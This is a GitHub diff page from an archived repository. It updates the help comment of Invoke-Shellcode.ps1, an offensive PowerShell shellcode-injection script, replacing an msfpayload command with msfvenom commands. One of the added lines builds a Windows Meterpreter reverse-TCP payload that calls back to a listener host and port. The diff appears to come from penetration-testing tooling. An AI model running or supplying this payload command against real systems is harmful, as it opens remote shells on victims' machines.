Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 3 additions & 2 deletions CodeExecution/Invoke-Shellcode.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -15,9 +15,10 @@ Optional Dependencies: None

Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre

PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Kali (Thanks, Matt and g0tm1lk):

msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
msfvenom --payload windows/x64/exec CMD="calc" EXITFUNC=thread -f c | sed 's/[";]//g;s/\\/,0/g' | tr -d '\n'
msfvenom --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 EXITFUNC=thread -f c | sed 's/[";]//g;s/\\/,0/g' | tr -d '\n'

Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.

Expand Down